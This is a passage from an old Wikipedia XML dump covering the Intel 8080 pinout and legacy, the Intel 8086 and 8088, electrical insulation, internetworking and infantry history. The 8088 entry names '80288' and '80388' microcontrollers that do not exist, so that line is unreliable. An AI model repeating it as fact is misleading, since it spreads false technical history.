        &lt;td&gt;Output&lt;/td&gt;&lt;td&gt;Address bus 10&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;2&lt;/td&gt;&lt;td&gt;GND&lt;/td&gt;
        &lt;td&gt;-&lt;/td&gt;&lt;td&gt;Ground&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;3&lt;/td&gt;&lt;td&gt;D4&lt;/td&gt;

        &lt;td rowspan=&quot;8&quot;&gt;Bidirectional&lt;/td&gt;
	&lt;td rowspan=&quot;8&quot;&gt;Bidirectional data bus. The processor also transiently sets here the &quot;processor state&quot;, providing information that the processor is currently doing:
*D0 reading interrupt comand. In response to the interrupt signal, the processor was reading and executing a single arbitrary command with this flag raised. Normally the supporting chips provided the subroutine call command (CALL or RST), transferring control to the interrupt handling code.
*D1 reading (low level means writing)
*D2 acessing stack (probably the separate stack memory space was initially planned)
*D3 doing nothing, has been halted by the HLT command
*D4 writing data to the output port
*D5 reading the first byte of the executable command
*D6 reading data from the input port
*D7 reading data from memory 
 &lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
	&lt;td&gt;4&lt;/td&gt;&lt;td&gt;D5&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;    &lt;td&gt;5&lt;/td&gt;&lt;td&gt;D6&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;6&lt;/td&gt;&lt;td&gt;D7&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;7&lt;/td&gt;&lt;td&gt;D3&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;    &lt;td&gt;8&lt;/td&gt;&lt;td&gt;D2&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;    &lt;td&gt;9&lt;/td&gt;&lt;td&gt;D1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;10&lt;/td&gt;&lt;td&gt;D0&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;11&lt;/td&gt;&lt;td&gt;-5 V&lt;/td&gt;
	&lt;td&gt;-&lt;/td&gt;&lt;td&gt;The -5 V power supply. This must be the first power source connected and the last disconnected, otherwise the processor will be damaged.&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;12&lt;/td&gt;&lt;td&gt;R&lt;/td&gt;
	&lt;td&gt;Input&lt;/td&gt;&lt;td&gt;Reset. The signal forces execution of commands, located at address 0000. The content of other processor registers is not modified. This is an inverting input (the active level being logical 0)&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;13&lt;/td&gt;&lt;td&gt;DMA&lt;/td&gt;
	&lt;td&gt;Input&lt;/td&gt;&lt;td&gt;Direct memory access request. The processor is requested to switch the data and address bus to the high impedance (&quot;disconnected&quot;) state.&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;14&lt;/td&gt;&lt;td&gt;INT&lt;/td&gt;
        &lt;td&gt;Input&lt;/td&gt;&lt;td&gt;Interrupt request&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;15&lt;/td&gt;&lt;td&gt;CLC2
        &lt;td&gt;Input&lt;/td&gt;&lt;td&gt;The second phase of the clock generator signal&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;	&lt;td&gt;16&lt;/td&gt;&lt;td&gt;ACK INT&lt;/td&gt;
	&lt;td&gt;Output&lt;/td&gt;&lt;td&gt;The processor had two commands for setting the 0 or 1 level on this pin. The pin normally was supposed to be used for the interrupt control. However in the simple computers it was sometimes used just as the single bit output port for various  purporses.&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;17&lt;/td&gt;&lt;td&gt;RD&lt;/td&gt;
	&lt;td&gt;Output&lt;/td&gt;&lt;td&gt;Read (the processor reads from memory or input port)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;    &lt;td&gt;18&lt;/td&gt;&lt;td&gt;WR&lt;/td&gt;
	&lt;td&gt;Output&lt;/td&gt;&lt;td&gt;Write (the processor writes to memory or output port). This is the inverted output, the active level being logical zero.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;    &lt;td&gt;19&lt;/td&gt;&lt;td&gt;S&lt;/td&gt;

	&lt;td&gt;Output&lt;/td&gt;&lt;td&gt;The active level indicates that the processor has set the &quot;state word&quot; on the data bus. The various bits of this state word provided the additional information for supporting the separate address and memory spaces, interrupts and direct memory access. This signal required to pass through additional logic before it could be used to write the processor state word from the data bus into some register.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;    &lt;td&gt;20&lt;/td&gt;&lt;td&gt;5 V&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;The + 5 V power supply&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td colspan=&quot;4&quot;&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;21&lt;/td&gt;&lt;td&gt;ACK DMA&lt;/td&gt;

	&lt;td&gt;Output&lt;/td&gt;&lt;td&gt;Direct memory access confirmation. The processor switches data and address pins into the high impedance state, allowing other device to manipulate the bus&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;22&lt;/td&gt;&lt;td&gt;CLC1&lt;/td&gt;
	&lt;td&gt;Input&lt;/td&gt;&lt;td&gt;The first phase of the clock generator signal&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;23&lt;/td&gt;&lt;td&gt;RDY&lt;/td&gt;

	&lt;td&gt;Input&lt;/td&gt;&lt;td&gt;Wait. With this signal it was possible to suspend processor's work. It was also used to support the hardware-based step-by step debugging mode.&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;24&lt;/td&gt;&lt;td&gt;WAIT&lt;/td&gt;
	&lt;td&gt;Output&lt;/td&gt;&lt;td&gt;Wait (indicates that the processor is in the waiting state)&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;    &lt;td&gt;25&lt;/td&gt;&lt;td&gt;A0&lt;/td&gt;

        &lt;td rowspan=&quot;3&quot;&gt;Output&lt;/td&gt;
	&lt;td rowspan=&quot;3&quot;&gt;Address bus&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;26&lt;/td&gt;&lt;td&gt;A1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;27&lt;/td&gt;&lt;td&gt;A2&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;	&lt;td&gt;28&lt;/td&gt;&lt;td&gt;12 V&lt;/td&gt;

	&lt;td&gt;-&lt;/td&gt;&lt;td&gt;The +12 V power supply. This must be the ''last'' connected and first disconnected power source.&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;	&lt;td&gt;29&lt;/td&gt;&lt;td&gt;A3&lt;/td&gt;
        &lt;td rowspan=&quot;12&quot;&gt;Output&lt;/td&gt;
	&lt;td rowspan=&quot;12&quot;&gt;The address bus, can switch into high impedance state on demand&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;30&lt;/td&gt;&lt;td&gt;A4&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;	&lt;td&gt;31&lt;/td&gt;&lt;td&gt;A5&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;32&lt;/td&gt;&lt;td&gt;A6&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;33&lt;/td&gt;&lt;td&gt;A7&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;34&lt;/td&gt;&lt;td&gt;A8&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;35&lt;/td&gt;&lt;td&gt;A9&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;	&lt;td&gt;36&lt;/td&gt;&lt;td&gt;A15&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;37&lt;/td&gt;&lt;td&gt;A12&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;38&lt;/td&gt;&lt;td&gt;A13&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;39&lt;/td&gt;&lt;td&gt;A14&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;	&lt;td&gt;40&lt;/td&gt;&lt;td&gt;A11&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

Literature, used for this table:
* http://tehno-doc.nm.ru/mikroshem_rus/kr580/kr580vm80a.html
* http://www.radiomaster.ru/stati/radio/k580/14_k580.php

==The industrial impact==

===Applications and successors===
The 8080 was used in many early microcomputers, such as the [[Altair 8800|MITS Altair 8800]] and [[IMSAI 8080]], forming the basis for machines running the [[CP/M operating system]] (the later, fully compatible and more capable, [[Zilog Z80]] processor would capitalize on this, with Z80 &amp; CP/M becoming the dominant CPU &amp; OS combination of the period much like [[x86]] &amp; [[MS-DOS]] for the PC a decade later). The first [[single-board computer|single-board microcomputer]] was based on the 8080.

Shortly after the launch of the 8080, the [[Motorola 6800]] competing design was introduced, and after that, the [[MOS Technology 6502]] variation of the 6800.  [[Zilog]] introduced the [[Zilog Z80|Z80]], which had a compatible machine-language instruction set and initially used the same assembly language as the 8080, but for legal reasons, Zilog developed a syntactically-different alternative assembly language for the Z80.  At Intel, the 8080 was followed by the compatible and electrically more elegant [[Intel 8085|8085]], and later by the assembly language compatible 16-bit [[Intel 8086|8086]] and then the 8/16-bit [[Intel 8088|8088]], which was selected by [[IBM]] for its new [[IBM PC|PC]] to be launched in 1981. The 8080, via its [[instruction set architecture|ISA]], thus made a lasting impact on computer history.

The Soviet Union manufactured the complete 8080 analog KP580ИK80 (later marked as KP580BM80), where even pins were placed identically. This processor was the base of the Radio86RK, probably the most popular amateur single-board computer in the Soviet Union. In some other sources is written that the Soviet analog has two undocumented its own specific commands, but these were not widely known.

===Industry change===
The 8080 also changed how computers were created. When the 8080 was introduced, computer systems were usually created by computer manufacturers such as [[Digital Equipment Corporation]], [[Hewlett Packard]], or [[IBM]]. A manufacturer would produce  the entire computer, including processor, terminals, and system software such as compilers and operating system. The 8080 was actually designed for just about any application ''except'' a complete computer system. Hewlett Packard developed a terminal, the [[HP 2647]] which was a terminal which ran [[BASIC programming language|BASIC]] on the 8080.
[[Microsoft]] would create the first popular programming language for the 8080, and would later acquire [[DOS]] for  the [[IBM-PC]].

As the 8080 evolved into the largely compatible x86 family, and PC's evolved into workstations and servers of 32 and 64 bits, the basic architecture of the 8080 and its successors has replaced many propriety midrange and mainframe computers, and withstood challenges of technologies such as RISC. Most computer manufacturers have abandoned producing their own processors below the highest performance points. Though x86 may not be the most elegant, or theoretically most efficient design, the sheer market force of so many dollars going into refining a design has made the x86 family today, and will remain for some time, the dominant processor architecture, even bypassing Intel's attempts to replace it with incompatible architectures such as the [[Intel iAPX 432|iAPX 432]] and [[Itanium]].

{{FOLDOC}}

{{Intel_processors}}

[[Category:Microprocessors]]

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  </page>
  <page>
    <title>Intel 8086</title>
    <id>15063</id>
    <revision>
      <id>41258984</id>
      <timestamp>2006-02-26T03:04:09Z</timestamp>
      <contributor>
        <username>Guy Harris</username>
        <id>122189</id>
      </contributor>
      <minor />
      <comment>Fix typo.</comment>
      <text xml:space="preserve">[[Image:Intel 8086.jpg|thumb|right|250px|An Intel 8086 Microprocessor]]

The '''8086''' is a 16-[[bit]] [[microprocessor]] chip designed by [[Intel]] in [[1978]], which gave rise to the [[x86]] architecture. Shortly after, the [[Intel 8088]] was introduced with an external 8-bit bus, allowing the use of cheap chipsets. It was based on the design of the [[Intel 8080|8080]] and [[Intel 8085|8085]] (it was [[assembly language]] [[source-compatibility|source-compatible]] with the 8080) with a similar register set, but was expanded to 16 bits.  The Bus Interface Unit fed the instruction stream to the Execution Unit through a 6 byte prefetch queue, so fetch and execution were concurrent &amp;ndash; a primitive form of [[pipelining]] (8086 instructions varied from 1 to 4 bytes).

Buses:
* Address Bus - 20-bit address bus. Can access 2&lt;sup&gt;20&lt;/sup&gt; memory locations i.e 1 MB of memory.
* Data Bus - 16 bit data bus. Can access 16 bit data in one operation. Hence called [[16-bit]] [[microprocessor]].
* Control buses - Carries the essential signals for various operations.

It featured four 16-bit general [[processor register|registers]], which could also be accessed as eight 8-bit registers, and four 16-bit index registers (including the [[Stack-based memory allocation|stack pointer]]).  The data registers were often used implicitly by instructions, complicating register allocation for temporary values.  It featured 64K 8-bit I/O (or 32K 16 bit) ports and fixed vectored interrupts. Most instructions could only access one memory location, so one operand had to be a register. The result was stored in one of the operands.

There were also four [[memory segment|segment]] registers that could be set from index registers. The segment registers allowed the [[Central processing unit|CPU]] to access one [[megabyte]] + 64 KB - 16 bytes of memory in an odd way.  Rather than just supplying missing bytes, as in most segmented processors, the 8086 shifted the segment register left 4 bits and added it to the address.  As a result segments overlapped, which most people consider to have been poor design.  Although this was largely acceptable (and even useful) for [[assembly language]], where control of the segments was complete, it caused confusion in languages which make heavy use of pointers (such as [[C programming language|C]]). It made efficient representation of pointers difficult, and made it possible to have up to 4096 pointers with different values pointing to the same location.  Worse, this scheme made expanding the address space to more than one megabyte + 64 KB - 16 bytes difficult. Effectively, it was expanded by changing the addressing scheme in the [[Intel 80286|80286]].

The processor runs at clock speeds between 4.77 (in the original IBM PC) and 10 MHz.

Typical execution times in cycles (estimates):
*addition: 3&amp;ndash;4 (register), 9+EA&amp;ndash;25+EA (memory access)
*multiplication: 70&amp;ndash;118 (register), 76+EA&amp;ndash;143+EA (memory access)
*move: 2 (register), 8+EA&amp;ndash;14+EA (memory access)
*near jump: 11&amp;ndash;15, 18+EA (memory access)
*far jump: 15, 24+EA (memory access)
EA: time to compute effective address, ranging from 5 to 12 cycles

The 8086 did not contain any [[floating point]] instructions, but could be connected to a mathematical coprocessors to add this capability. The [[Intel 8087]] was the standard version and used as a Math Co-processor operating on 80-bit numbers  , but manufacturers like [[Weitek]] soon offered higher performance alternatives.

The 8086 was cloned by the [[NEC V20]], V25 and V30 processors. 

 [http://news.com.com/2061-10793_3-6025604.html] [http://techdirt.serverbox.net/articles/20060110/1818234_F.shtml]

== Microcomputers using the 8086 ==

The first commercial microcomputer built on the basis of the 8086 was the [[Mycron]] 2000.

The [[IBM Displaywriter]] word processing machine and Wang Professional Computer also used the 8086. The most influential microcomputer of all, the [[IBM PC]], used the [[Intel 8088]], a version of the 8086 with a narrower memory bus.

==External links==
*[http://www.cpu-collection.de/?tn=1&amp;l0=cl&amp;l1=8086/88 Intel 8086/8088 images and descriptions at cpu-collection.de]

*[http://www.emu8086.com 8086 visual microprocessor emulator]



{{Intel_processors}}

''Article based on [http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?query=Intel+8086 Intel 8086] at [http://www.foldoc.org FOLDOC], used with [[Wikipedia:Foldoc license|permission]].''

[[Category:x86 microprocessors|Intel 0861]]

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    </revision>
  </page>
  <page>
    <title>Intel 8088</title>
    <id>15064</id>
    <revision>
      <id>37974330</id>
      <timestamp>2006-02-03T08:25:00Z</timestamp>
      <contributor>
        <username>Dmit</username>
        <id>739080</id>
      </contributor>
      <text xml:space="preserve">[[Image:I8088.jpg|thumb|right|250px|An Intel 8088 microprocessor]]

The '''Intel 8088''' is an [[Intel]] [[microprocessor]] based on the [[Intel 8086|8086]], with 16-[[bit]] registers and an 8-bit external [[data bus]]. The processor was used in the original [[IBM PC]]. 

The 8088 was targeted at economical systems by allowing the use of 8-bit designs.  Large bus width circuit boards were still fairly expensive when it was released.  The prefetch queue of the 8088 is 4 bytes, as opposed to the 8086's 6 bytes.  The descendants of the 8088 include the [[80188]], [[80288]] (obsolete), and [[80388]] [[microcontroller]]s which are still in use today.

The most influential microcomputer to use the 8088 was, by far, the [[IBM PC]]. The original PC processor ran at a [[clock frequency]] of 4.77 MHz.

Apparently IBM's own engineers wanted to use the [[Motorola 68000]], and it was used later in the forgotten IBM Instruments [[9000 Laboratory Computer]], but IBM already had rights to manufacture the 8086 family, in exchange for giving Intel the rights to its [[bubble memory]] designs. A factor for using the 8-bit Intel 8088 version was that it could use existing [[Intel 8085]]-type components, and allowed the computer to be based on a modified 8085 design.  68000 components were not widely available at the time, though it could use [[Motorola 6800]] components to an extent. Intel bubble memory was on the market for a while, but Intel left the market due to fierce competition from Japanese corporations who could undercut by cost, and left the memory market to focus on processors.

A compatible replacement chip, the [[NEC V20|V20]], was produced by [[Nippon Electric Corporation|NEC]] for an approximate 20 percent improvement in computing power.

{{Intel_processors}}
[[Category:x86 microprocessors|Intel 088]]

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    </revision>
  </page>
  <page>
    <title>Electrical insulation</title>
    <id>15066</id>
    <revision>
      <id>42123092</id>
      <timestamp>2006-03-03T23:46:49Z</timestamp>
      <contributor>
        <username>Light current</username>
        <id>360593</id>
      </contributor>
      <comment>split into insulators and insulation</comment>
      <text xml:space="preserve">{{split}}
:''This page refers to electrical insulation. For thermal insulation see [[thermal insulation]], and for sound insulation see [[sound proofing]]. 

[[Image:Stripped wire.jpg|thumb|Conducting [[copper]] wire insulated by an outer layer of polyethylene]]

An '''insulator''' is a material or object that resists the flow of [[electric charge]].

The term ''electrical insulator'' has the same meaning as the term ''[[dielectric]]'', but the two terms are used in different contexts. The opposite of [[nonconductors|electrical insulators]] are [[Conductor (material)|conductor]]s and [[semiconductor]]s, which permit the flow of charge.  [[Semiconductors]] are strictly speaking also insulators, since they prevent the flow of electric charge at low temperatures, unless  [[Doping (Semiconductors)|doped]] with atoms that release extra charges to carry the current. However, some materials (such as [[silicon dioxide]]) are very nearly perfect electrical insulators, which allows flash memory technology. A much larger class of materials, for example rubber and many plastics, are &quot;good enough&quot; insulators to be used for home and office wiring, being able to act as insulators into the range of hundreds of [[volt]]s) without noticeable loss of safety or efficiency.

==High-voltage insulators==
[[image:pylon.detail.arp.750pix.jpg|thumb|right|250px|Detail of the [[insulators]] (the vertical string of discs) on a 275,000 volt suspension pylon near Thornbury, South Gloucestershire, England]]

High-voltage insulators used for high-voltage [[electric power transmission|power transmission]] are either [[porcelain]] insulators or [[composite material|composite]] insulators. Porcelain insulators are made from [[clay]], [[quartz]] or [[alumina]] and [[feldspar]]. [[Alumina]] insulators are used where high mechanical strength is a criterion. In recent times there is a shift towards composite insulators which have a central rod  made of [[fibre reinforced plastic]] and outer weathersheds made of [[Silicone|silicone rubber]] or [[EPDM rubber|EPDM]]. Glass insulators were, and in some places are still used to mount electrical power lines.
Most insulator manufacturers stopped making glass insulators in the late 1960's, switching to ceramic materials. Composite insulators are less costly, light weight and have excellent hydrophobic capability and hence can be used in polluted areas.

The first glass insulators used en masse had an unthreaded pinhole.  These pieces of glass were positioned on a wooden pin, vertically extending upwards from the pole's crossarm (commonly only two insulators to a pole and maybe one on top of the pole itself).  Natural contraction and expansion of the wires wrapped around the &quot;threadless insulator&quot; resulted in an unseating of the insulator from its pin; hence a re-seating was required by a designated person.  In 1870 a patent was granted for putting threads into insulator pinholes.  To this day, pin-type insulators have threaded pinholes.  

==Low-voltage insulators==
Insulating materials such as [[Polyvinyl chloride|PVC (polyvinyl chloride)]] are used to minimise the possibility of a person coming into contact with a 'live' wire. Some appliances such as electric shavers and hair dryers are [[Double insulated|doubly insulated]] to protect the user. They can be recognised because their leads have two pins, or on 3 pin plugs the third ([[Ground (electricity)|earth]]) pin is made of plastic rather than metal.  In the [[European Union|EU]], double insulated appliances all are marked with a symbol of 2 squares, one inside the other.

Double insulation requires that cables have [[wiktionary:basic|basic]] and [[supplementary]] insulation, each of which is sufficient to prevent electric shock. Usually, the internal electrical components are totally enclosed in an insulated packaging which prevents any contact with live parts.
== Collecting insulators ==

In the late 1960's and early 1970's insulators were being removed from telephone poles as advances in technology made these pieces of glass obsolete.  As linemen were taking down the old lines, they started to notice the multitude of bright colors, company names, variety of shapes, and important historical position held by insulators in the expansion of communication technology.  Presently the insulator hobby is made up of thousands of people around the world with the majority of people being in the U.S. and Canada.  Many websites exist which hold these items as the primary focus.  Ebay even has a separate category for insulators. 

To this date, collectors have introduced a classification system for the different styles, a price guide (last published in 2003), and a national organization (the [http://www.NIA.org National Insulator Association]).  The main magazine in the hobby is a monthly publication, [http://www.crownjewelsofthewire.com Crown Jewels of the Wire], which has been published since 1969.  Quite probably, the largest, and most informative private website in the hobby is [http://www.insulators.com www.insulators.com].
==See also==
*[[Arcing horns]]
*[[Electricity pylon|Pylon]]
*[[Electrical substation]]

==External links==
*http://teleramics.com/ - Specialising in UK telegraph insulators with a railway bias
*http://www.myinsulators.com/downtownseattle/ &amp;mdash; one person's obsession with telephone pole insulators
*[http://CPRR.org/Museum/Ephemera/Brooks_Insulator.html Transcontinental Telegraph Insulators, 1867]
*[http://www.insulators.com www.insulators.com]
*[http://www.insulatorscanada.com www.insulatorscanada.com]
*http://www.nia.org &amp;mdash; National Insulator Association

[[Category:Insulators]]

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    </revision>
  </page>
  <page>
    <title>Internetworking</title>
    <id>15067</id>
    <revision>
      <id>41005194</id>
      <timestamp>2006-02-24T12:31:24Z</timestamp>
      <contributor>
        <ip>134.99.138.122</ip>
      </contributor>
      <text xml:space="preserve">'''Internetworking''' involves connecting two or more distinct [[computer network]]s together into an '''internetwork''' (often shortened to '''internet'''), using [[devices]] called [[routers]] to connect them together, to allow traffic to flow back and forth between them. (Routers were originally called [[gateway (telecommunications)|gateways]], but that term was discarded &lt;!-- NB: it was a concious decision to drop it, it didn't &quot;fall[] into disuse&quot; --&gt; in this context, due to confusion with functionally different devices using the same name.) The routers guide traffic on the correct path (among several different ones usually available) across the complete internetwork to their destination. 

(Some people inaccurately refer to the connecting together of networks with [[Network bridge|bridges]] as internetworking, but the resulting system mimics a single [[subnetwork]], and no internetworking [[Communications protocol|protocol]] (such as [[Internet Protocol|IP]]) is required to traverse it.)

Internetworking started as a way to connect disparate types of networking technology, but it became widespread through the developing need to connect two or more [[local area network]]s via some sort of [[wide area network]]. The definition now includes the connection of other types of computer networks such as [[personal area network]]s.

The most notable example of internetworking in practice is the [[Internet]], a network of networks running different low-level protocols, unified by an internetworking protocol, the [[Internet Protocol]] (IP).

IP only provides an unreliable [[packet]] service across an internet. To transfer data reliably, applications must utilize a [[Transport layer]] protocol, such as [[Transmission Control Protocol|TCP]], which provides a [[reliable stream]] (These terms do not mean that IP is actually unreliable but instead that it sends packets without contacting and establishing a connection with the destination router beforehand. The opposite applies for reliable). Since TCP is the most widely used transport protocol, people commonly refer to TCP and IP together, as &quot;[[TCP/IP]]&quot;. Some applications occasionally use a simpler transport protocol (called [[User Datagram Protocol|UDP]]) for tasks which do not require absolutely reliable delivery of data, such as [[video streaming]].

==See also==
* [[History of the Internet]]

==External links==
*[http://discovery.bits-pilani.ac.in/rahul/PDFversions/Complete-InetBook-PHI-2003-Secure.pdf E-book] (''[[Portable Document Format|pdf format]]'') - Deals with the foundations of major internetworking architectures (chapters 4 to 9).

[[de:Internetworking]]
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{{uncat}}</text>
    </revision>
  </page>
  <page>
    <title>Infantry</title>
    <id>15068</id>
    <revision>
      <id>40932141</id>
      <timestamp>2006-02-23T23:29:48Z</timestamp>
      <contributor>
        <ip>66.130.41.189</ip>
      </contributor>
      <comment>/* Missions */</comment>
      <text xml:space="preserve">[[Image:Royal Irish Rifles ration party Somme July 1916.jpg|thumb|right|300px|Infantry of the [[Royal Irish Rifles]] during the [[Battle of the Somme (1916)|Battle of the Somme]] in [[World War I]].]]
'''Infantry''' are [[soldier]]s or [[marine|marines]] who fight primarily on foot with [[small arms]] in organized [[military unit]]s. &quot;Infantry&quot; also refers to the branch of the [[military]] in which these troops serve.

==History==
{{History of war}}
With few exceptions, most armies in history have been built around a core of infantry. While the specific weapons have varied, the common factor is that these soldiers have relied on their own two feet for transportation to the battlefield (especially in the pre-industrial era) and [[military tactic|tactical]] movement.

In earliest days, infantry were little more than armed mobs, fighting in opposing lines under the voice direction of individual commanders. However, the benefits of uniform equipment, weaponry and above all training led to the development of formations able to carry out pre-arranged maneuvers in the heat of battle.

As with any other area of conflict, the history of infantry is a story of balance between heavily-armed formations such as the [[Greece|Greek]] [[phalanx formation|phalanx]] fighting in rigid formations, and more lightly-armed but more mobile units like the [[Roman legion]] able to move relatively quickly around the battlefield and exploit opportunities as they arose.  Mobility, weaponry, and protection are the competing yet complementary factors which must be balanced to create effective infantry.

=== Classical Period ===

Examples of infantry units of the Classical period are the [[phalanx formation|phalanx]]es of [[ancient Greece]] and the [[Roman legion|legion]]s of [[Imperial Rome]]. In contrast to the strictly organized phalanxes and legions, most armies of the ancient world also employed units of [[skirmisher]]s (often [[mercenaries]] or [[slaves]]) who wore minimal armor and carried an eclectic mix of weapons ranging from [[sword]]s and [[javelin throw|javelin]]s to slings and bows. Infantry was the primary combat arm of the period in open battles, as a result of multiple factors, including the cultural bias toward hand-to-hand combat and the relatively limited effectiveness of ranged weapons. Ranged weapons were primarily used as [[artillery]] and [[siege weapon]]s.

Large, well-disciplined units of infantry were common to the wars of the ancient world. However, as the [[Roman Empire]] declined and fell to the depredations of Germanic tribes such as the [[Vandal]]s, [[Goths]], and [[Visigoths]] in the 5th century AD, the political and military resources necessary for the maintenance of such units largely disappeared until the later Middle Ages with the appearance of the large bureaucratic systems associated with the [[monarchy|monarchical]] [[nation-state]]s.

=== Middle Ages ===

For most of the Middle Ages, warfare and society were dominated by the glamour of [[cavalry]], expressed at the time in the form of [[knight]]s. Knights were generally drawn from the aristocracy, while the infantry levies were raised from the common-folk or peasants. This led to a stagnation of the technologies and tactics that would improve the effectiveness of the infantry. However, some tactics were seen to be very effective. Infantry often took up long [[spear]]s or [[halberd]]s to counter the long reach of knights' [[lance]]s. It also became more and more common for infantry to carry ranged weapons, as these would also effectively nullify the cavalry's advantage of momentum, speed, height, and reach. By the late Middle Ages, these tactics were crystallizing.

[[Image:Relief infantry.jpg|right|thumb|300px|[[Relief]] of infantry at building of Museum of Art in [[Olomouc]], [[The Czech Republic]].]]

While bows remained in use long after the development of [[firearm]]s, technological fine-tuning (along with the development of the [[wheel-lock]]) allowed firearms to supersede even the feared [[English longbow]] as the ranged weapon of choice for infantry. The bow also declined in favor due to the ease with which musketeers could be trained (days or weeks to attain moderate proficiency, as opposed to many years for the longbow).

Many nations combined firearms with extremely long [[pike (weapon)|pike]]s into units that were virtually invincible against cavalry formations. Eventually, with the development of the [[bayonet]], the pikemen were dropped from the formation, resulting in the first examples of an infantry unit as recognizable today.

=== Modern ===

Before the development of [[railroad]]s in the 19th century, infantry armies got to the battlefield by walking, or sometimes by [[ship]]. The Marines were first conceived in the 17th century by the English Royal Navy. Due to Britain's island status, a large army was unnecessary, however infantry soldiers were still required for eventual landings. A typical Royal Navy warship carried 600 men. Of these men, 120-180 would be Royal Marines. These men usually had a deck to themselves and had little to do with sailing the vessel. The men were proficient in the use of metal-working, gunpowder and modern weapons of the day and would form landing parties when exploring. The Marines also defended the vessel if boarded and would repair damaged weapons and cannon after a battle.

In the 1890s and later, some countries used [[bicycle infantry]], but the real revolution in mobility started in the 1920s with the use of motor vehicles, resulting in [[motorized infantry]]. Action in [[World War II]] demonstrated the importance of protecting the soldiers while they are moving around, resulting in the development of [[mechanized infantry]], who use armored vehicles for transport. World War II also saw the first widespread use of [[paratroop]]s, which played key roles in several campaigns in the European theater. During the [[Vietnam War|Vietnam conflict]], the [[United States Army]] pioneered the use of [[helicopter]]s to deliver large numbers of infantry quickly to and from key locations on the battlefield.

Modern-day mechanized infantry is supported by [[armored fighting vehicle]]s, [[artillery]], and [[aircraft]], but along with [[light infantry]], which does not use armored fighting vehicles, is still the only kind of military force that can take and hold ground, and thus remains essential to fighting wars.

== Organization ==
[[Image:Military camp.jpg|right|thumb|300px|Historical [[military camp]] - infantry.]]
Infantry is notable by its reliance on organized formations to be employed in battle.  These have been developed over time, but remain a key element to effective infantry development and deployment.  Up until the 20th Century, infantry units were for the most part employed in close organized formations up until the last moment possible.  This was necessary to allow commanders to retain control of the unit, especially while maneuvering, as well as allowing officers to retain discipline amongst the ranks.

With the development of weapons with increased firepower, it became necessary to disperse the infantry over a wider expanse of terrain.  This made the unit less susceptible to high explosive and rapid fire weapons.  From World War I, it was recognized that infantry were most successfully employed when using their ability to maneuver in constricted terrain and evade detection in ways not possible for other weapons such as vehicles.  This decentralization of command was made possible by improved communications equipment and greater focus on small unit training.

== Missions ==

The most important role of the infantry has been as the primary force of an army.  It is the infantry which ultimately decides whether ground was held or taken, and it is the presence of infantry that assures control of territory.  While the tactics of employment in battle have changed, the basic missions of the infantry have not.

'''Attack''' operations are the most basic role of the infantry, and along with defense, form the two primary stances of the infantry on the battlefield.  Traditionally, in an open battle, or [[meeting engagement]], two armies would maneuver to contact, at which point they would form up their infantry and other units opposite each other.  Then one or both would advance and attempt to defeat the enemy force.  The goal of an attack remains the same: to advance into an enemy-held objective and dislodge the enemy, thereby establishing control of the objective.  Attacks are often feared by the infantry conducting them due to the high number of casualties suffered while advancing under enemy fire.  Successful attacks rely on sufficient force, preparative reconnaissance and bombardment, and retention of unit cohesion throughout the attack.

'''Defense''' operations are the natural counter to attacks, in which the mission is to hold an objective and defeat enemy forces attempting to dislodge the defender.  Defensive posture offers many advantages to the infantry, including the ability to use terrain and constructed fortifications to advantage and the reduced exposure to enemy fire compared with advancing forces.  Effective defense relies on minimizing losses to enemy fire, breaking the enemy's cohesion before their advance is completed, and preventing enemy penetration of defensive positions.

'''Patrol''' is the most common infantry mission.  Full scale attacks and defensive efforts are occasional, but patrols are constant.  Patrols consist of small groups of infantry moving about in areas of possible enemy activity to discern enemy deployments and ambush enemy patrols.  Patrols are used not only on the front-lines, but in rear areas where enemy infiltration or insurgencies are possible.

